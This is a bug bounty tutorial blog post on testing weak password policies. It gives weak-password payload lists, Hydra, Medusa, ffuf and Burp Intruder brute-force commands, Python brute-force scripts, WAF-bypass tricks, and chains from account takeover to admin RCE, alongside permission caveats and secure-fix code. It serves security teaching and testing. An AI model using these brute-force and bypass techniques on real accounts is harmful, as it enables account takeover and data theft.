Weak Password Policy β€” Bug Bounty Guide 2026

By DEVASHISH and GAURAV

Updated on:

Weak Password Policy
πŸ› Bug Bounty Series

Weak Password Policy β€”
Brute-Force, ATO & Full Account Takeover

A Weak Password Policy vulnerability exists when a web application or API fails to enforce minimum password complexity, lockout mechanisms, or rate limiting β€” letting attackers brute-force, credential-stuff, or simply register with trivially guessable passwords. One of the most impactful and under-reported authentication bugs in bug bounty programs.

πŸ† OWASP A07:2021 πŸ”΄ High β†’ Critical 🎯 Beginner–Intermediate πŸ” Auth Security πŸ’° High Bounty

πŸ” What is Weak Password Policy?

A Weak Password Policy vulnerability is classified under OWASP A07:2021 β€” Identification and Authentication Failures. It occurs when an application fails to enforce server-side rules around password strength, uniqueness, and authentication resilience β€” allowing users (and attackers) to set or exploit trivially guessable credentials.

Weak Password Policy vulnerability diagram showing brute-force attack on login endpoint with no lockout and credential stuffing on API with weak passwords accepted

Weak Password Policy β€” No lockout + weak passwords accepted = Brute-Force ATO

πŸ’‘ Core Concept

A Weak Password Policy is not just “password too short.” It’s the full absence of authentication hardening: no complexity enforcement, no account lockout, no rate limiting, no breach-password checks, and no secure reset token generation. Each missing control is a standalone bug bounty finding.

πŸ”΄ Critical β€” No lockout + brute-force, default admin creds, credential stuffing
🟠 High β€” Weak registration allowed, no complexity, short reset tokens
πŸ”΅ Medium β€” No re-use prevention, no breach-password check, no MFA

🎯 Attack Surfaces

Weak Password Policy vulnerabilities can appear across multiple endpoints. Always test each surface independently β€” especially the raw API, which often bypasses frontend validation entirely.

πŸ”‘ Registration & Auth
/register β€” weak password accepted
/login β€” no lockout after N failures
/api/auth/token β€” no rate limiting
/admin/login β€” default credentials
/api/v1/login β€” API bypass of UI rules
/oauth/token β€” weak client_secret
πŸ”„ Reset & Change Flows
/forgot-password β€” weak reset tokens
/reset-password β€” accepts weak new pwd
/change-password β€” no current pwd check
/api/user/password β€” PATCH bypass
Mobile API β€” separate, often unprotected
GraphQL mutations β€” auth fields

πŸ“‹ Quick Reference Table

FieldDetails
VulnerabilityWeak Password Policy
Also Known AsInsecure Password Requirements, Missing Complexity Controls, Lax Authentication Policy
OWASPA07:2021 – Identification and Authentication Failures | API2:2023 – Broken Authentication
CVSS Score7.5–9.8 (HIGH to CRITICAL depending on context)
SeverityCRITICAL (no lockout) | HIGH (weak registration)
DifficultyBeginner to Intermediate
ToolsBurp Suite, Hydra, ffuf, Medusa, Python requests, curl, wfuzz, OWASP ZAP
Key Endpoints/login, /register, /api/auth, /admin/login, /forgot-password, /change-password
ChainingATO β†’ IDOR β†’ Privilege Escalation β†’ RCE via Admin File Upload
Real-WorldSolarWinds default ‘solarwinds123’, RockYou breach, LinkedIn MD5 hash dump
PracticePortSwigger Auth Labs, DVWA Brute Force, TryHackMe Auth Bypass

πŸ’£ Password Payload Reference

The following Weak Password Policy test payloads should be attempted against every authentication endpoint β€” always intercept the request in Burp Suite to bypass any client-side JavaScript validation before testing.

Password / PayloadCategoryWhat It TestsSeverity
aSingle charMinimum length enforcementCRITICAL
1Single digitNumeric-only short passwordCRITICAL
1233-char numericCommon short PIN acceptedCRITICAL
admin5-char dictionaryMost common admin passwordCRITICAL
password8-char dictionaryTop-1 most common password globallyCRITICAL
1234566-char numericTop-2 most common password globallyCRITICAL
pass15-char alphanumericWeak complexity bypassHIGH
qwertyKeyboard walkPattern-based password acceptedHIGH
[username]Username = passwordTests user=password scenarioCRITICAL
[blank/empty]Empty stringNull password acceptanceCRITICAL
letmeinDictionary wordClassic weak password acceptedHIGH
admin123Dict + numberDefault admin combinationCRITICAL
P@ssw0rdComplexity-compliantTests if only charset is checkedMEDIUM
[domain]123Org-specificTargeted org-name guessHIGH
Aa1!4-char complexShort but complex β€” tests min lengthHIGH

πŸ› οΈ Manual Testing β€” Step by Step

⚑ Before You Start

Always test on your own registered test account. Never trigger lockout on real user accounts during bug bounty testing. Obtain written permission before testing production systems.

Phase 1 β€” Reconnaissance

1
Map all authentication endpoints
Open DevTools (F12) β†’ Network tab β†’ perform login, register, reset actions β†’ collect all auth request URLs and parameters
2
Check for API vs UI differences
If the app has a mobile app or REST API, test the API endpoint directly β€” it may have NO validation even if the web UI blocks weak passwords
3
Note response patterns
Record what a successful vs failed auth looks like: HTTP status code, response body, response time, headers (X-RateLimit-*, Retry-After)

Phase 2 β€” Registration Testing

1
Start Burp Suite β†’ Intercept the registration POST request
Fill the signup form normally with a strong password, then intercept and change the password value to a before forwarding
2
Observe the server response
HTTP 200 or 201 = VULNERABLE β€” Weak Password Policy confirmed. HTTP 400/422 = server validation exists (check error message for bypass clues)
3
Repeat with full payload list
Send Repeater requests with: 1, 123, admin, password, 123456, empty string. Document each result.
HTTP β€” Burp Intercepted Request
# Intercepted registration POST β€” modify password to weak value:
POST /api/register HTTP/1.1
Host: target.com
Content-Type: application/json

{"email":"bugtest@test.com","password":"a"}

# 200 OK / 201 Created β†’ VULNERABLE βœ“
{"status":"success","message":"Account created"}

# 400 Bad Request β†’ Validation exists
{"error":"Password must be at least 8 characters"}

Phase 3 β€” Lockout / Rate Limit Testing

Send 50 intentionally wrong-password login attempts against your own test account and observe the server behavior:

Bash β€” Lockout Test Loop
# Send 50 failed login attempts β€” use your OWN test account
for i in $(seq 1 50); do
  CODE=$(curl -s -o /dev/null -w '%{http_code}' \
    -X POST https://target.com/api/login \
    -H 'Content-Type: application/json' \
    -d '{"email":"mytest@test.com","password":"wrongpass"}')
  echo "Attempt $i: HTTP $CODE"
done

# All 401? β†’ No lockout β†’ VULNERABLE (CRITICAL)
# 429 at attempt N? β†’ Rate limiting exists (note threshold)
# Check response headers for: X-RateLimit-*, Retry-After

Phase 4 β€” Forgot-Password Flow

1
Trigger a password reset for your test account
Receive the reset link via email. Inspect the reset token β€” note its length and format.
2
Evaluate token strength
Token under 32 hex characters, sequential, timestamp-based, or predictable = separate vulnerability. Log it.
3
Reset password to a weak value via the link
Intercept the reset POST request in Burp and set new_password=a. If accepted β†’ Weak Password Policy also applies to reset flow.

πŸ”§ Tools & Automation

πŸ”₯ Hydra
Fast network brute-forcer supporting HTTP POST login forms
hydra -l user@test.com -P rockyou.txt target.com http-post-form "/login:email=^USER^&password=^PASS^:Invalid"
πŸ•΅οΈ Burp Suite
Intercept, modify, and replay auth requests. Use Intruder for brute-force.
Proxy β†’ Intercept β†’ Send to Intruder β†’ Sniper β†’ Load wordlist β†’ Attack
🐍 Python requests
Custom scripted brute-force with lockout detection logic
pip install requests && python3 brute_check.py
⚑ ffuf
Fuzzer β€” fast HTTP fuzzing for auth parameter testing
ffuf -w passwords.txt -X POST -d '{"password":"FUZZ"}' -u https://target.com/login -mc 200
🌊 wfuzz
Web application fuzzer with JSON body support
wfuzz -c -z file,rockyou.txt --data '{"password":"FUZZ"}' https://target.com/api/login
πŸ”‘ Medusa
Parallel, modular login brute-forcer for HTTP
medusa -h target.com -u admin -P rockyou.txt -M http -m DIR:/login

πŸ’» Scripts & Code

Python β€” Weak Password Registration Checker

This script automatically tests whether a registration endpoint accepts common weak passwords. Use only on your own test accounts.

Python 3
import requests, json

TARGET  = 'https://target.com/api/register'
HEADERS = {'Content-Type': 'application/json'}

WEAK_PASSWORDS = [
    'a', '1', '123', 'admin', 'password',
    '123456', 'pass1', 'qwerty', 'letmein',
    'admin123', '', 'test'
]

for pwd in WEAK_PASSWORDS:
    payload = json.dumps({'email':'bugtest@test.com','password':pwd})
    r = requests.post(TARGET, headers=HEADERS, data=payload)
    status = 'βœ“ VULNERABLE' if r.status_code in [200,201] else 'βœ— Blocked'
    print(f'[{r.status_code}] {status} | password={repr(pwd)}')

Python β€” Lockout Detector

Python 3
import requests, json, time

LOGIN_URL   = 'https://target.com/api/login'
TEST_EMAIL  = 'mytest@mytest.com'  # YOUR OWN account
MAX_ATTEMPTS = 50
locked = False

headers = {'Content-Type': 'application/json'}

for i in range(MAX_ATTEMPTS):
    payload = json.dumps({'email':TEST_EMAIL,'password':f'wrongpass{i}'})
    r = requests.post(LOGIN_URL, headers=headers, data=payload)
    if r.status_code == 200:
        print(f'[!] ATO at attempt {i+1}'); break
    elif r.status_code == 429:
        print(f'[+] Locked after {i+1} attempts β€” rate limit present')
        locked = True; break
    else:
        print(f'[{i+1}] HTTP {r.status_code}')
    time.sleep(0.2)

if not locked:
    print(f'[!] NO LOCKOUT after {MAX_ATTEMPTS} attempts β€” CRITICAL')

Bash β€” Hydra HTTP-POST Brute Force

Bash
#!/bin/bash
# Permission required! Use ONLY on your own test accounts.

TARGET='target.com'
LOGIN_PATH='/api/login'
USER='test@test.com'
WORDLIST='/usr/share/wordlists/rockyou.txt'

hydra -l "$USER" \
      -P "$WORDLIST" \
      "$TARGET" \
      http-post-form \
      "$LOGIN_PATH:{\"email\":\"^USER^\",\"password\":\"^PASS^\"}:Invalid credentials" \
      -V -t 4 -w 3

# -t 4 = 4 threads (low = avoids lockout detection)
# -w 3 = 3 second wait between tasks

πŸ”· Burp Suite Guide

Step 1 β€” Intercept the Registration Request

1
Open Burp Suite β†’ Proxy β†’ Intercept ON
Configure browser to use proxy 127.0.0.1:8080. Navigate to the registration page.
2
Fill form with strong password β†’ Submit
Burp intercepts the POST request before it reaches the server. Modify password value to a.
3
Forward modified request
If response is 200/201 β€” vulnerable. If 400 β€” validation exists, note error message for further analysis.

Step 2 β€” Brute Force with Intruder

Burp Intruder β€” Config
# 1. Intercept login POST β†’ Right-click β†’ Send to Intruder
# 2. Positions tab β†’ Clear Β§ β†’ highlight password value β†’ Add Β§

{"email":"test@test.com","password":"Β§FUZZΒ§"}

# 3. Payloads tab β†’ Simple list β†’ Load rockyou.txt (top 1000)
# 4. Options β†’ Thread = 1, Throttle = 500ms (avoid lockout)
# 5. Start Attack β†’ Sort by Status β†’ 200 = ATO achieved

# Cluster Bomb (username + password):
# Position 1: Β§emailΒ§    β†’ emails.txt
# Position 2: Β§passwordΒ§ β†’ passwords.txt

Step 3 β€” Lockout Check in Repeater

Burp Repeater β€” Response Analysis
# Send login β†’ Ctrl+R to Repeater
# Resend same wrong-password request 50 times
# Compare all responses:

# All 401? β†’ NO LOCKOUT β†’ CRITICAL vulnerability
HTTP/1.1 401 Unauthorized  (attempt 1)
HTTP/1.1 401 Unauthorized  (attempt 50)

# Rate limit present (good):
HTTP/1.1 429 Too Many Requests
Retry-After: 300

# Headers to check (often absent = vulnerable):
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1734567890

⚑ Advanced Techniques

Technique 1 β€” WAF Bypass via Unicode/Encoding

HTTP / JSON
# WAF blocks 'password' keyword β€” try Unicode normalization:
{"password":"\u0070assword"}   # p = \u0070

# Null byte injection β€” server validates before null, not after:
{"password":"a\u0000randompadding999"}

# Parameter pollution:
POST /login
password=StrongPass&password=a   # some servers use last value

# Content-type switch (bypass JSON validator):
Content-Type: application/x-www-form-urlencoded
email=test@test.com&password=a

Technique 2 β€” Long Password Truncation Bug

Python 3
# Register with 200-char password
long_password = 'A' * 200
register(email='test@test.com', password=long_password)

# Attempt login with only first 72 chars (truncation point)
short_password = 'A' * 72
result = login(email='test@test.com', password=short_password)

# If login succeeds β†’ SILENT TRUNCATION β†’ HIGH vulnerability
# CVE-2013-1691 (Mozilla) was exactly this bug

Technique 3 β€” Race Condition on Password Reset

Burp Turbo Intruder
# Use Turbo Intruder to send 20 simultaneous reset requests
# Goal: reuse reset token before server atomically invalidates it

POST /api/reset-password HTTP/1.1
Host: target.com

{"token":"abc123","new_password":"a"}

# If first request accepts weak password AND token stays valid
# for subsequent requests β†’ Race Condition + Weak Policy chain

Technique 4 β€” Password Complexity Illusion

Some servers check only for the presence of character classes, not minimum distribution. These passwords satisfy most regex policies but are weak:

PasswordWhy It’s Still WeakFinding
Aa1!Only 4 chars β€” all classes presentHIGH
Password1!Dictionary word with substitutionsHIGH
P@ssw0rdClassic leet-speak, in every wordlistHIGH
Abcdefg1!Sequential letters + one symbolHIGH
Summer2024!Season + year pattern, highly guessableHIGH

πŸ›‘οΈ Framework Secure Fix Reference

Framework❌ Vulnerable Codeβœ… Secure Fix
Node.jsif(password.length < 1) { allow() }const score = require(‘zxcvbn’)(pwd).score; if(score < 3) return 400;
DjangoPASSWORD_VALIDATORS = [] // disabledAdd MinimumLengthValidator, CommonPasswordValidator, NumericPasswordValidator to AUTH_PASSWORD_VALIDATORS
Laravel‘password’ => ‘required’‘password’ => [‘required’,’min:12′,’mixed_case’,’numbers’,’symbols’,’confirmed’]
Spring Boot@Size(min=1) String password@Size(min=12,max=128) @Pattern(regexp=”(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&]).+”) String password
Ruby on Railsvalidates :password, length: {minimum: 1}validates :password, length:{minimum:12}, format:{with:/(?=.*[A-Z])(?=.*\d)(?=.*[!@#$])/}
Goif len(password) == 0 { allow }if len(pwd)<12 || !hasUpper(pwd) || !hasDigit(pwd) || !hasSpecial(pwd) { return ErrWeakPassword }
PHPif(!empty($pwd)) { accept(); }Use password_hash(bcrypt) + enforce strlenβ‰₯12, upper, digit, special with preg_match

πŸ”— Real Bug Chains

A Weak Password Policy is rarely the end of the chain β€” it’s usually the entry point to much higher severity findings:

πŸ”΄
Brute-Force β†’ Full ATO β†’ Admin RCE
/api/login β†’ No lockout β†’ brute-force rockyou.txt β†’ admin account compromised β†’ Admin panel β†’ File Upload β†’ RCE
CRITICAL
πŸ”΄
Default Creds β†’ Admin Panel β†’ Full DB Dump
admin:admin on /admin/login β†’ Admin dashboard β†’ database export function β†’ Full user data exfiltration
CRITICAL
🟠
Weak Registration β†’ Credential Stuffing β†’ Bulk ATO
/register allows ‘password123’ β†’ user reuses across services β†’ breach list matches β†’ bulk ATO on 1000+ accounts
CRITICAL
🟠
ATO + IDOR β†’ Access Other Users’ Data
Brute-force ATO on victim account β†’ IDOR on /api/user/{id} β†’ full access to all user profiles and PII
HIGH
🟠
Weak Reset Token + Weak New Password
/forgot-password β†’ short/predictable token β†’ enumerate token β†’ reset to new_password=a β†’ account compromised silently
CRITICAL

βœ… Key Takeaways

πŸ”‘ Core Concept

A Weak Password Policy vulnerability is not a single missing check β€” it is the complete absence of authentication hardening. Each missing control (no length check, no lockout, no rate limit, no breach check) is independently reportable in most bug bounty programs.

  • Always test the raw API endpoint, not just the web UI β€” JS validation is trivially bypassed via Burp Suite interception.
  • Accepting a 1-character password on registration alone is a valid HIGH severity bug bounty finding.
  • No account lockout after 5–10 failed login attempts = brute-force vulnerability = CRITICAL severity.
  • Test ALL auth surfaces: /login, /register, /change-password, /forgot-password, /api/auth, mobile API.
  • Default credentials like admin:admin on admin panels must be reported as CRITICAL immediately.
  • Password reset token shorter than 32 hex characters or sequential/timestamp-based is a standalone vulnerability.
  • Silent password truncation above N characters is both a security bug and an authentication logic flaw.
  • Always document exact HTTP request/response pairs β€” screenshot + Burp export for the report.
  • Combine Weak Password Policy with IDOR or Privilege Escalation for CRITICAL chain reports worth higher bounties.
  • Mention HaveIBeenPwned API integration absence explicitly in your secure recommendations section.
πŸ’° Real Bounty Example

A researcher on HackerOne found a fintech platform’s /api/v1/login had no rate limiting and accepted passwords as short as 1 character. They demonstrated credential stuffing at 500 requests/minute with zero lockout, achieving ATO on 3 self-registered test accounts. Bounty: $3,500 (HIGH). Lack of MFA enforcement elevated the overall report severity.

πŸ“ Reporting Tip

Title: “Weak Password Policy + No Account Lockout Enables Brute-Force Account Takeover”
Include: 1) Request/response showing 1-char password accepted. 2) 50 failed attempts with no lockout response. 3) PoC Hydra/Python command with output. 4) CVSS score calculation. 5) Remediation: min 12 chars, lockout after 5 attempts, CAPTCHA, Argon2 hashing, HaveIBeenPwned integration.

πŸ”— Learn More

Deepen your understanding of Weak Password Policy and authentication security with these authoritative resources:

πŸ“š More from devtechnoblog.in

πŸ“€ Found this useful? Share it with your hacker community

Related Posts

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

DEVASHISH and GAURAV

We’re Gaurav and Devashish, Bug Bounty Researchers passionate about sharing practical cybersecurity knowledge. From beginner-friendly payloads to advanced exploitation chains, we break down complex security concepts into simple, easy-to-understand explanations.

Leave a comment